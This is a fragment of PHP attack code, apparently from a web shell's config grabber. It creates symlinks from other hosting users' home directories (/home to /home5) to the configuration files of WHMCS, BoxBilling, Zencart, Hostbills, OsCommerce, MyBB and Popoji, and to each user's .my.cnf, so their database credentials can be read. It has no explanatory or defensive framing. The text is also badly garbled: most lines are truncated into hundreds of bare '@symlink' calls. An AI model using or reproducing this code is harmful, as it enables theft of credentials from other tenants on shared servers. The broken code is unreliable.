WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/clientsupport/co
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/CHECKOUT/con
figuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/Checkout/config
@symlink('/home/'.
$user.'/public_html/checkout/config
@symlink('/home/'.
$user.'/public_html/BILLINGS/confi
@symlink('/home/'.
$user.'/public_html/Billings/configur
@symlink('/home/'.
$user.'/public_html/billings/configur
@symlink('/home/'.
$user.'/public_html/BASKET/config
@symlink('/home/'.
$user.'/public_html/Basket/configur
@symlink('/home/'.
$user.'/public_html/basket/configur
@symlink('/home/'.
$user.'/public_html/SECURE/config
@symlink('/home/'.
$user.'/public_html/Secure/configur
@symlink('/home/'.
$user.'/public_html/secure/configur
@symlink('/home/'.
$user.'/public_html/SALES/configur
@symlink('/home/'.
$user.'/public_html/Sales/configurat
@symlink('/home/'.
$user.'/public_html/sales/configurat
@symlink('/home/'.
$user.'/public_html/BILL/configurati
@symlink('/home/'.
$user.'/public_html/Bill/configuratio
@symlink('/home/'.
$user.'/public_html/bill/configuratio
@symlink('/home/'.
$user.'/public_html/PURCHASE/con
@symlink('/home/'.
$user.'/public_html/Purchase/config
@symlink('/home/'.
$user.'/public_html/purchase/config
@symlink('/home/'.
$user.'/public_html/ACCOUNT/confi
@symlink('/home/'.
$user.'/public_html/Account/configu
@symlink('/home/'.
$user.'/public_html/account/configu
@symlink('/home/'.
$user.'/public_html/USER/configura
@symlink('/home/'.
$user.'/public_html/User/configurati
@symlink('/home/'.
$user.'/public_html/user/configurati
@symlink('/home/'.
$user.'/public_html/CLIENTS/config
@symlink('/home/'.
$user.'/public_html/Clients/configur
@symlink('/home/'.
$user.'/public_html/clients/configur
@symlink('/home/'.
@symlink('/home/'.
@symlink('/home/'.
@symlink('/home/'.
$user.'/public_html/MY/configuratio
@symlink('/home/'.
$user.'/public_html/My/configuratio
@symlink('/home/'.
$user.'/public_html/my/configuratio
@symlink('/home/'.
$user.'/public_html/secure/whm/con
@symlink('/home/'.
$user.'/public_html/secure/whmcs/c
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/panel/configurat
@symlink('/home/'.
$user.'/public_html/clientes/configu
@symlink('/home/'.
$user.'/public_html/cliente/configur
@symlink('/home/'.
$user.'/public_html/support/order/c
WHMCS.txt');
@symlink('/home/'.
$user.'/public_html/bb-config.php',
$user.'-BoxBilling.txt');
@symlink('/home/'.
$user.'/public_html/boxbilling/bb-
config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.
$user.'/public_html/box/bb-
@symlink('/home/'.
$user.'/public_html/host/bb-
@symlink('/home/'.
$user.'/public_html/Host/bb-
@symlink('/home/'.
$user.'/public_html/supportes/bb-
@symlink('/home/'.
$user.'/public_html/support/bb-
@symlink('/home/'.
$user.'/public_html/hosting/bb-
@symlink('/home/'.
$user.'/public_html/cart/bb-
@symlink('/home/'.
$user.'/public_html/order/bb-
@symlink('/home/'.
$user.'/public_html/client/bb-
@symlink('/home/'.
$user.'/public_html/clients/bb-
@symlink('/home/'.
$user.'/public_html/cliente/bb-
@symlink('/home/'.
$user.'/public_html/clientes/bb-
@symlink('/home/'.
$user.'/public_html/billing/bb-
@symlink('/home/'.
$user.'/public_html/billings/bb-
@symlink('/home/'.
$user.'/public_html/my/bb-
@symlink('/home/'.
$user.'/public_html/secure/bb-
@symlink('/home/'.
$user.'/public_html/support/order/b
b-config.php',$user.'-
BoxBilling.txt');
@symlink('/home/'.
$user.'/public_html/includes/dist-
configure.php',$user.'-Zencart.txt');
@symlink('/home/'.
$user.'/public_html/zencart/includes
/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.
es/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.
$user.'/public_html/cart/includes/dis
t-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.
$user.'/public_html/shop/includes/di
st-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.
$user.'/public_html/includes/iso421
7.php',$user.'-Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/hostbills/include
s/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/host/includes/is
o4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/Host/includes/is
@symlink('/home/'.
$user.'/public_html/supportes/inclu
des/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/support/include
Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/hosting/include
Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/cart/includes/iso
@symlink('/home/'.
$user.'/public_html/order/includes/i
so4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/client/includes/i
@symlink('/home/'.
$user.'/public_html/clients/includes/
iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/cliente/includes/
@symlink('/home/'.
$user.'/public_html/clientes/include
Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/billing/includes/i
@symlink('/home/'.
$user.'/public_html/billings/includes
/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.
$user.'/public_html/my/includes/iso
@symlink('/home/'.
$user.'/public_html/secure/includes/
@symlink('/home/'.
$user.'/public_html/support/order/in
cludes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/.my.cnf',
$user.'-Cpanel.txt');
@symlink('/home/'.
$user.'/public_html/po-
content/config.php',$user.'-
Popoji.txt');
//Home1
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
$user.'-MyBB.txt');
@symlink('/home1/'.
@symlink('/home1/'.
OsCommerce.txt');
@symlink('/home1/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.
OsCommerce.txt');
@symlink('/home1/'.
OsCommerce.txt');
@symlink('/home1/'.
OsCommerce.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
WHMCS.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
BoxBilling.txt');
@symlink('/home1/'.
@symlink('/home1/'.
Zencart.txt');
@symlink('/home1/'.
Zencart.txt');
@symlink('/home1/'.
Zencart.txt');
@symlink('/home1/'.
Zencart.txt');
@symlink('/home1/'.
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
@symlink('/home1/'.
Hostbills.txt');
@symlink('/home1/'.$user.'/.my.cnf',
@symlink('/home1/'.
Popoji.txt');
//Home2
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
$user.'-MyBB.txt');
@symlink('/home2/'.
@symlink('/home2/'.
OsCommerce.txt');
@symlink('/home2/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home2/'.
OsCommerce.txt');
@symlink('/home2/'.
OsCommerce.txt');
@symlink('/home2/'.
OsCommerce.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
WHMCS.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
BoxBilling.txt');
@symlink('/home2/'.
@symlink('/home2/'.
Zencart.txt');
@symlink('/home2/'.
Zencart.txt');
@symlink('/home2/'.
Zencart.txt');
@symlink('/home2/'.
Zencart.txt');
@symlink('/home2/'.
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
@symlink('/home2/'.
Hostbills.txt');
@symlink('/home2/'.
Popoji.txt');
//Home3
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
$user.'-MyBB.txt');
@symlink('/home3/'.
@symlink('/home3/'.
OsCommerce.txt');
@symlink('/home3/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home3/'.
OsCommerce.txt');
@symlink('/home3/'.
OsCommerce.txt');
@symlink('/home3/'.
OsCommerce.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
WHMCS.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
BoxBilling.txt');
@symlink('/home3/'.
@symlink('/home3/'.
Zencart.txt');
@symlink('/home3/'.
Zencart.txt');
@symlink('/home3/'.
Zencart.txt');
@symlink('/home3/'.
Zencart.txt');
@symlink('/home3/'.
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
@symlink('/home3/'.
Hostbills.txt');
@symlink('/home3/'.
Popoji.txt');
//Home4
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
$user.'-MyBB.txt');
@symlink('/home4/'.
@symlink('/home4/'.
OsCommerce.txt');
@symlink('/home4/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home4/'.
OsCommerce.txt');
@symlink('/home4/'.
OsCommerce.txt');
@symlink('/home4/'.
OsCommerce.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
WHMCS.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
BoxBilling.txt');
@symlink('/home4/'.
@symlink('/home4/'.
Zencart.txt');
@symlink('/home4/'.
Zencart.txt');
@symlink('/home4/'.
Zencart.txt');
@symlink('/home4/'.
Zencart.txt');
@symlink('/home4/'.
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
@symlink('/home4/'.
Hostbills.txt');
@symlink('/home4/'.
Popoji.txt');
//home5
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
$user.'-MyBB.txt');
@symlink('/home5/'.
@symlink('/home5/'.
OsCommerce.txt');
@symlink('/home5/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home5/'.
OsCommerce.txt');
@symlink('/home5/'.
OsCommerce.txt');
@symlink('/home5/'.
OsCommerce.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
WHMCS.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
BoxBilling.txt');
@symlink('/home5/'.
@symlink('/home5/'.
Zencart.txt');
@symlink('/home5/'.
Zencart.txt');
@symlink('/home5/'.
Zencart.txt');
@symlink('/home5/'.
Zencart.txt');
@symlink('/home5/'.
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
@symlink('/home5/'.
